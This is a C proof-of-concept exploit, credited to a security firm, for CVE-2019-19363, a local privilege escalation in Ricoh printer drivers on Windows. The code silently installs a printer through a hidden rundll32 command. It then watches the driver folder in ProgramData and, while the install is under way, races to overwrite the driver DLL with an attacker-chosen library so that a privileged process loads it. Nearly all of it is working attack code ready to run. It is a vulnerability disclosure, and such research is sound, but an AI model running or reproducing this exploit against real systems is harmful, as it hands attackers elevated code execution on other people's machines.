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195 | /*
This proof of concept code monitors file changes on Ricoh's driver DLL files and overwrites
a DLL file before the library is loaded (CVE-2019-19363).
Written by Pentagrid AG, 2019.
Cf. https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/
Credits: Alexander Pudwill
This proof of concept code is based on the ReadDirectoryChangesW API call to
get notified about changes on files and directories and reuses parts from the example from
https://www.experts-exchange.com/questions/22507220/ReadDirectoryChangesW-FWATCH-MSDN-sample-not-working.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <windows.h>
#define MAX_BUFFER 4096
int change_counter = 0;
const WCHAR * const BaseDirName = L"C:\\ProgramData";
const WCHAR * TargetDllFullFilePath, * TargetDLLRelFilePath, * MaliciousLibraryFile, * PrinterName;
DWORD dwNotifyFilter = FILE_NOTIFY_CHANGE_LAST_WRITE |
FILE_NOTIFY_CHANGE_SIZE |
FILE_NOTIFY_CHANGE_LAST_ACCESS |
FILE_NOTIFY_CHANGE_CREATION;
typedef struct _DIRECTORY_INFO {
HANDLE hDir;
TCHAR lpszDirName[MAX_PATH];
CHAR lpBuffer[MAX_BUFFER];
DWORD dwBufLength;
OVERLAPPED Overlapped;
} DIRECTORY_INFO, *PDIRECTORY_INFO, *LPDIRECTORY_INFO;
DIRECTORY_INFO DirInfo;
void WINAPI HandleDirectoryChange(DWORD dwCompletionPort) {
DWORD numBytes, cbOffset;
LPDIRECTORY_INFO di;
LPOVERLAPPED lpOverlapped;
PFILE_NOTIFY_INFORMATION fni;
WCHAR FileName[MAX_PATH];
do {
GetQueuedCompletionStatus((HANDLE)dwCompletionPort, &numBytes, (LPDWORD)&di, &lpOverlapped, INFINITE);
if (di) {
fni = (PFILE_NOTIFY_INFORMATION)di->lpBuffer;
do {
cbOffset = fni->NextEntryOffset;
// get filename
size_t num_elem = fni->FileNameLength / sizeof(WCHAR);
if (num_elem >= sizeof(FileName) / sizeof(WCHAR)) num_elem = 0;
wcsncpy_s(FileName, sizeof(FileName)/sizeof(WCHAR), fni->FileName, num_elem);
FileName[num_elem] = '\0';
wprintf(L"+ Event for %s [%d]\n", FileName, change_counter);
if (fni->Action == FILE_ACTION_MODIFIED) {
if (!wcscmp(FileName, TargetDLLRelFilePath)) {
if (change_counter > 0)
change_counter--;
if (change_counter == 0) {
change_counter--;
if (CopyFile(MaliciousLibraryFile, TargetDllFullFilePath, FALSE))
wprintf(L"+ File %s copied to %s.\n", MaliciousLibraryFile, TargetDllFullFilePath);
else {
wchar_t buf[256];
FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
buf, (sizeof(buf) / sizeof(wchar_t)), NULL);
wprintf(L"+ Failed to copy file %s to %s: %s\n", MaliciousLibraryFile, TargetDllFullFilePath, buf);
}
exit(1);
} // end of trigger part
}
} // eo action mod
fni = (PFILE_NOTIFY_INFORMATION)((LPBYTE)fni + cbOffset);
} while (cbOffset);
// Reissue the watch command
ReadDirectoryChangesW(di->hDir, di->lpBuffer, MAX_BUFFER, TRUE, dwNotifyFilter, &di->dwBufLength, &di->Overlapped, NULL);
}
} while (di);
}
void WINAPI InstallPrinter() {
WCHAR cmd_buf[1000];
swprintf(cmd_buf, sizeof(cmd_buf), L"/c rundll32 printui.dll, PrintUIEntry /if /b \"Printer\" /r lpt1: /m \"%s\"", PrinterName);
wprintf(L"+ Adding printer: %s\n", cmd_buf);
unsigned long ret = (unsigned long) ShellExecuteW(0, L"open", L"cmd", cmd_buf, NULL, SW_HIDE);
if(ret <= 32) // That seems to be the way to handle ShellExecuteW's ret value.
wprintf(L"+ Failed launching command. Return value is %d\n", ret);
}
void WINAPI WatchDirectories(HANDLE hCompPort) {
DWORD tid;
HANDLE hThread;
ReadDirectoryChangesW(DirInfo.hDir, DirInfo.lpBuffer, MAX_BUFFER, TRUE, dwNotifyFilter, &DirInfo.dwBufLength, &DirInfo.Overlapped, NULL);
// Create a thread to sit on the directory changes
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HandleDirectoryChange, hCompPort, 0, &tid);
// Just loop and wait for the user to quit
InstallPrinter();
while (_getch() != 'q');
// The user has quit - clean up
PostQueuedCompletionStatus(hCompPort, 0, 0, NULL);
// Wait for the Directory thread to finish before exiting
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
int wmain(int argc, WCHAR *argv[]) {
HANDLE hCompPort = NULL; // Handle To a Completion Port
if (argc == 6) {
PrinterName = argv[1];
TargetDllFullFilePath = argv[2];
TargetDLLRelFilePath = argv[3];
MaliciousLibraryFile = argv[4];
change_counter = _wtoi(argv[5]);
}
else {
wprintf(L"+ Usage: %s <printer_name> <fullpath_monitor_dll> <rel_path_monitor_dll> <new_dll> <counter>\n", argv[0]);
return 0;
}
wprintf(L"+ Monitoring directory %s\n", BaseDirName);
// Get a handle to the directory
DirInfo.hDir = CreateFile(BaseDirName,
FILE_LIST_DIRECTORY,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
NULL);
if (DirInfo.hDir == INVALID_HANDLE_VALUE) {
wprintf(L"Unable to open directory %s. GLE=%ld. Terminating...\n",
BaseDirName, GetLastError());
return 0;
}
lstrcpy(DirInfo.lpszDirName, BaseDirName);
if (HANDLE hFile = CreateFile(TargetDllFullFilePath,
GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL)) {
wprintf(L"+ File %s created\n", TargetDllFullFilePath);
CloseHandle(hFile);
}
else
wprintf(L"+ File %s could not be created\n", TargetDllFullFilePath);
if ((hCompPort = CreateIoCompletionPort(DirInfo.hDir, hCompPort, (ULONG_PTR)&DirInfo, 0)) == NULL) {
wprintf(L"+ CreateIoCompletionPort() failed.\n");
return 0;
}
wprintf(L"+ Press <q> to exit\n");
// Start watching
WatchDirectories(hCompPort);
CloseHandle(DirInfo.hDir);
CloseHandle(hCompPort);
return 1;
}
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